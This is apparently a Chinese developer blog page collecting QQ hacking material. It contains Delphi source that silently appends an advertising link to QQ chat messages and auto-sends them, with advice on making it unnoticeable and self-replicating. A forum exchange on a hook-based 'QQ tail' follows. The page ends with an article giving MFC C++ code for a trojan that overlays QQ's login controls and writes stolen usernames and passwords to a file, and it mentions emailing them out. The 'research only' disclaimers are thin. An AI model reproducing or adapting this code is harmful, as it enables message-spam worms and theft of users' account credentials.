Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls, ExtCtrls;



type

TForm1 = class(TForm)

Timer1: TTimer;

Button1: TButton;

Edit1: TEdit;

Label1: TLabel;

Button2: TButton;

procedure Timer1Timer(Sender: TObject);

procedure Button1Click(Sender: TObject);

procedure Button2Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;



var

Form1: TForm1;



implementation



{$R *.dfm}



// 获得窗口文本

function GetWndText(hWnd: HWND): String;

Var

Ret:LongInt;

mText:PChar;

Buf:Integer;

begin

Ret:=SendMessage(hWnd,WM_GETTEXTLENGTH,0,0)+1;

GetMem(mText,Ret);

try

Buf:=LongInt(mText);

SendMessage(hWnd,WM_GETTEXT,Ret,Buf);

Result:=StrPas(mText);

finally

FreeMem(mText,Ret);

end;

end;

// 发送文本到窗口

procedure SetWndText(hWnd: HWND; Text: String);

Var

Ret:LongInt;

mText:PChar;

Buf:Integer;

begin

GetMem(mText,Length(Text));

StrCopy(mText,PChar(Text));

try

Buf:=LongInt(mText);

SendMessage(hWnd,WM_SETTEXT,0,Buf);

finally

FreeMem(mText,Length(Text));

end;

end;

// 取得QQ的发送消息窗口

function GetQQWnd: HWND;

var

hCurrentWindow: HWnd;

WndText:String;

begin

hCurrentWindow := GetWindow(Application.Handle, GW_HWNDFIRST);

while hCurrentWindow <> 0 do

begin

WndText:=GetWndText(hCurrentWindow);

if (Pos('聊天中',WndText)>0) or (Pos('发送消息',WndText)>0) then

begin

Result:=hCurrentWindow;

Exit;

end;

hCurrentWindow := GetWindow(hCurrentWindow, GW_HWNDNEXT);

end;

Result:=0;

end;

// 定时处理

procedure TimerProc;

var

qqWnd,txtWnd,btnWnd:HWND;

Msg:String;

begin

qqWnd:=GetQQWnd;

if qqWnd=0 then Exit;



btnWnd:=GetDlgItem(qqWnd,1); // 发送按钮

txtWnd:=GetWindow(GetDlgItem(qqWnd,0),GW_CHILD); // 文本框

if (btnWnd=0) or (txtWnd=0) then Exit;

Msg:=GetWndText(txtWnd);

Msg:=Msg+#13+#10+'欢迎光临绿荫网络http://www.lvyin.net';

SetWndText(txtWnd,Msg);

SendMessage(btnWnd,WM_LBUTTONDOWN,MK_LBUTTON,0);

SendMessage(btnWnd,WM_LBUTTONUP,0,0);

end;



procedure TForm1.Timer1Timer(Sender: TObject);

begin

TimerProc;

end;



procedure TForm1.Button1Click(Sender: TObject);

begin

Timer1.Enabled :=not Timer1.Enabled;

if Timer1.Enabled then

Button1.Caption :='停 止'

else

Button1.Caption :='开 始';

end;



procedure TForm1.Button2Click(Sender: TObject);

begin

Timer1.Interval :=StrToInt(Edit1.Text);

end;



end.



总结:上面只讲述了QQ消息自动发送的主要功能,这或许跟QQ尾巴的原理不同(我也不知道),但总体上应该差不多。如果要做到让用户感觉不到异常,就要改一下了,不要自动发送,而是在当用户点击了“发送”按钮后再把文本加进去。这样的话可是拦截“发送”按钮的点击消息,然后再用上述方法把文本加进去,然后把消息交还原程序处理。至于如何让它成为病毒,会自我复制,自我隐藏等功能,那又是另外一个话题了,在此就不多讲了。



另:此文只作技术研讨之用,希望大家不要拿它来捣蛋,如有产生后果,本人概不负责。欢迎大家来信探讨。



作者:吴创豪

Email:wuqiu@regalcyber.com

HomePage:http://www.chuanghao.com





作者Blog:http://blog.csdn.net/wuqiu/


删除


#  回复:QQ资料 2004-10-21 8:43 AM bing314
http://community.csdn.net/Expert/topic/3374/3374436.xml?temp=.412533

主  题: 这个钩子函数怎么不运行?有关一个QQ尾巴的实现
作  者: zjpixyniannian ()
等  级:
信 誉 值: 98
所属社区: VC/MFC 进程/线程/DLL
问题点数: 30
回复次数: 5
发表时间: 2004-9-15 12:33:07

这个是从csdn上下载的一个模仿qq尾巴的程序,可是我运行了一下,发现并不成功,问题在于虽然挂了两个钩子,可是钩子函数并不运行。
以下是钩子函数所在的代码文件“

回复人: stevecrisewu(月亮骑士) ( ) 信誉:91 2004-9-18 14:15:38 得分: 10
QQ版本问题,作者跟踪的是QQ2003版本的

如果你是QQ2004,需要将作者查找g_Rich句柄的地方做稍微修改。

你可以去我blog上看看,blog.csdn.net/stevecrisewu

有个例子

回复人: zjpixyniannian() ( ) 信誉:98 2004-9-20 14:41:40 得分: 0
2004版应该是已经弥补了这个bug,应该是对WM_PASTE做了处理,我在别的程序上应用此消息,就可以成功。谢谢大家。


删除


#  回复:QQ资料 2004-10-21 9:00 AM bing314
偷梁换柱盗取OICQ密码


发布者: soarlove (进入soarlove个人专栏)
发布日期:2002.08.21
升级次数:0
今日浏览:1
总浏览:7302

--------------------------------------------------------------------------------

评价等级:

0位用户为此文章评分,平均分为0.0

申明:本文旨在分析黑客攻击的手段,请勿用于非法目的!

Internet的发展,带动了IT界的一次大飞跃,黑客的活动也随之日益猖獗,攻击手法不断变化。各种黑客程序也是层出不穷,木马程序更是花样百出。如:监视键盘按键、替换登录程序等,现在我就来介绍另一种攻击手法,替换登录程序按钮。这招绝吧!现在我就来将方法介绍一下。
就拿我们很熟悉的OICQ来作一个例子,看看程序到底是如何实现偷梁换柱的。要替换OICQ的登录程序的按钮与密码框,首先就得捕获OICQ登录程序的登录按钮和密码框句柄。哈哈,要是换上了我们自己的按钮与密码框,不就是想干什么就干什么了吗。


 我们要取得4个CWnd句柄,分另是:用户号码的CComBox、用户口令CEdit、登录按扭CButton、主对话框句柄。

m_hOicq=FindWindow(NULL,"QQ用户登录");
m_hOk=CWnd::FromHandle(FindWindowEx(m_hOicq->GetSafeHwnd(),NULL,"BUTTON","登录"));
m_hEdit=CWnd::FromHandle(FindWindowEx(m_hOicq->GetSafeHwnd(),NULL,"EDIT",NULL));
m_hCom=CWnd::FromHandle(FindWindowEx(m_hOicq->GetSafeHwnd(),NULL,"ComboBox",NULL));
///上面的m_hOicq,m_hOk,m_hEdit,m_hCom分别为CWnd *类型
有了这四个句柄,接下来的事就好办多了,那现在我们就直接生成一个按扭和一个编辑框吧。代码如下 CFont *m_font=m_hOk->GetFont();
CFont *m_font1=m_hEdit->GetFont();
CRect rect;
CRect rect1;
m_hOk->GetWindowRect(rect);
m_hOk->ScreenToClient(rect);
m_hEdit->GetWindowRect(rect1);
m_hEdit->ScreenToClient(rect1);
rect.left+=14;
rect.top+=117;
rect.bottom+=117;
rect.right+=14;
rect1.left+=110;
rect1.top+=56;
rect1.bottom+=56;
rect1.right+=110;
m_hOk->ShowWindow(SW_HIDE);//隐藏登录按钮
m_hEdit->ShowWindow(SW_HIDE);//银藏密码框
if(m_button.Create("登录",WS_CHILD|WS_VISIBLE|WS_TABSTOP|BS_DEFPUSHBUTTON,rect,m_hOicq,IDC_STARTBUTTON)==FALSE)
MessageBox("error");
m_button.SetFont(m_font,TRUE);
m_button.SetWnd(this);
m_button.SetID(IDC_STARTBUTTON);
if(m_edit.CreateEx(0x204,"Edit","",0x500100A0,rect1,m_hOicq,IDC_MYEDIT)==FALSE)
MessageBox("error1");
m_edit.SetFont(m_font1,TRUE);
m_edit.SetFocus();
m_edit.SetWnd(this);

上面代码中的m_button为CMyButton类型变量,m_edit为CMyEdit类型变量,请继续往下看。

这两个控件生成了!但是光生成两个控件还没用,我们得让两个控件告诉我们什么时候按了回车,什么时候点击了Mouse左键。那就得对EDIT、BUTTON做一下处理才行。用ClassWinzard生成二个派生类CMyEdit、CMyButton,分别生成WM_LBUTTONUP、PreTranslateMessage,让它处理相应的按键事件。并通讯事件发个消息给我的主对话框,那就要取得我的对话框的句柄,在两个派生类中分别生成函数
SetWnd(CWnd *pWnd)用于告知主对话框的窗口句柄。
在CMyEdit的 PreTranslateMessage(MSG* pMsg)中输入
if(pMsg->message==WM_KEYDOWN)
{
if(pMsg->wParam==VK_RETURN)
m_wnd->SendMessage(WM_ButtonDown,0,0);
}


在CMyButton的OnLButtonUp(UINT nFlags, CPoint point)中输入

m_wnd->SendMessage(WM_ButtonDown,0,0);

以上将一个消息发送到我的对话框,我得把消息处里一下,做的干净漂亮些,这样用的人才不会知道我个木马程序在偷偷监视他们
CString Password,cc;
char LoginName[20] ;
memset(LoginName,0,20);
::SendMessage(m_hCom->GetSafeHwnd(), WM_GETTEXT, 20, (LPARAM)LoginName);
m_edit.GetWindowText(Password);
m_edit.ShowWindow(SW_HIDE);
m_hEdit->ShowWindow(SW_SHOW);
m_hOk->ShowWindow(SW_SHOW);
cc=0x0d;
cc+=0x0a;
CFileFind m_find;
CFile m_file;
if(!m_find.FindFile("c://oicqlog.dat"))
m_file.Open("c://oicqlog.dat",CFile::modeCreate|CFile::modeWrite,NULL);
else
{
m_file.Open("c://oicqlog.dat",CFile::modeWrite);
m_file.SeekToEnd();
}
m_file.Write(cc,cc.GetLength());
m_file.Write(LoginName,sizeof(LoginName));
m_file.Write(cc,cc.GetLength());
m_file.Write(Password,Password.GetLength());
m_file.Close();
m_hEdit->SetFocus();
char *ee=Password.GetBuffer(Password.GetLength());
::SendMessage(m_hEdit->GetSafeHwnd(),WM_SETTEXT,20,(LPARAM)ee);
keybd_event(VK_RETURN,0,0,0);
keybd_event(VK_RETURN,0,2,0);
return TRUE;


好了,一个简单的木马程序就写完了,如果再加上Email的功能,那就变得更完美了,具体细节可以分析作者提供的源代码,该代码可以设定EMAIL信箱,SMTP服务器,一次发送数量,密码文件位置。
示例程序的简单使用方法:按“捕获”按钮后程序被隐藏,当打开QQ时,QQ上的按钮已经被替换,登陆信息被记录在您所设置的密码文件中。请勿将此代码用于非法目的。

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值